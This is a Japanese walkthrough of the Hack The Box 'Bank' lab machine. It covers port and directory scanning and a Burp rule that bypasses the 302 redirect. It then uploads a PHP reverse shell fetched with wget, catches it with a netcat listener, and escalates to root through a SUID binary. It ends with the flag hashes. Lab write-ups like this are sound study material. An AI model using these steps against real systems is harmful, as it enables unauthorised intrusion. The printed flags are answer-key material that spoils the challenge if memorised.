【Hack The Box】Bank Walkthrough
はじめに
ポートスキャン
nmap -sC -sV -Pn 10.10.10.29
22(ssh)、53(dns)80(http)が開いている。
※nmap -p- 10.10.10.29も実行し、ポート検出漏れしていないかも確認。
ブラウザで80番ポートへアクセス
Apacheのデフォルトぺージが表示される。

hostsファイルの設定
このIPアドレスに対してgobusterを実行しても、次につながる結果は見つからなかった。
53(DNS)ポートが開いていることから、このサーバが仮想ホスト(※)で構成されている可能性があると考え、以下を実行しhostsファイルに追記した。
# echo "10.10.10.29 bank.htb" >> /etc/hosts [マシン名].htbというのはHTBのFQDNの命名規則
※一つのサーバで複数のドメインを運用・管理する技術
このFQDNで再度ブラウザからアクセスすると、ログイン画面が表示された。

ディレクトリスキャン
# gobuster dir -u http://bank.htb/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -t 100
検出されたindex.phpとsupport.phpにアクセスを試みるが、リダイレクトされてlogin.phpに飛ばされてしまう。burpで通信を見てみる。
Burpで通信の確認
support.phpへのリクエストに着目すると、リダイレクト前のレスポンスも確認できる。
レスポンスには、以下のようなコメントが含まれていたりで、ここが狙い目な気はする。
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
support.phpへのアクセスのために、burpのrenderタブをクリックしても表示されない・・・
FirefoxのアドオンでNoRedirectアドオンというものがあったが、kaliのFirefoxのバージョン問題で使用できず断念。
NoRedirect :: Add-ons for Firefox
調べていると、以下にたどり着いた。Burpを通して通信したものを任意の物に書き換えられるようだ。 MY_CHEAT_SHEET/BurpSuite.md at master · sanposhiho/MY_CHEAT_SHEET · GitHub
Proxy → Options → Match and Replaceより302 Foundで返ってきたものを200 OKに置き換える設定を加えた。

ここにチェックを入れた状態でブラウザからアクセスすると、support.phpへ行けた。この機能は知らなかった。

ファイルアップロード
support.phpはファイルアップロードの機能があった。phpのreverse shellをアップロードする。
# wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz # tar zxvf php-reverse-shell-1.0.tar.gz # cd php-reverse-shell-1.0/ # cp php-reverse-shell.php shell.htb
shell.htbのIPアドレスとポート番号を攻撃者環境のものに変え、アップロードする。このとき、上記で発見したコメントにあるように、拡張子は「.htb」とする。

user.txt取得まで
アップロードしたreverse shellにアクセスする前に、攻撃者環境で待ち受けておく。
# nc -lvp 1234
アップロードしたファイルにアクセス(ブラウザで「Click Here」をクリック)すると、シェルが返ってきた。これでuser.txtゲット。

root.txt取得まで
権限昇格のために、以下を実行した。
$ sudo -l $ find / -perm -4000 -type f 2>/dev/null
/var/htb/bin/emergencyというファイルにSUIDが設定されている、また、所有者はrootであることからroot権限で実行できそうだ。
実行前後でのidコマンドの差異は以下。
■実行前 $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) ■実行後 id uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
これでroot.txtの取得完了。

user.txt:37c97f8609f361848d8872098b0721c3
root.txt:d5be56adc67b488f81a4b9de30c8a68e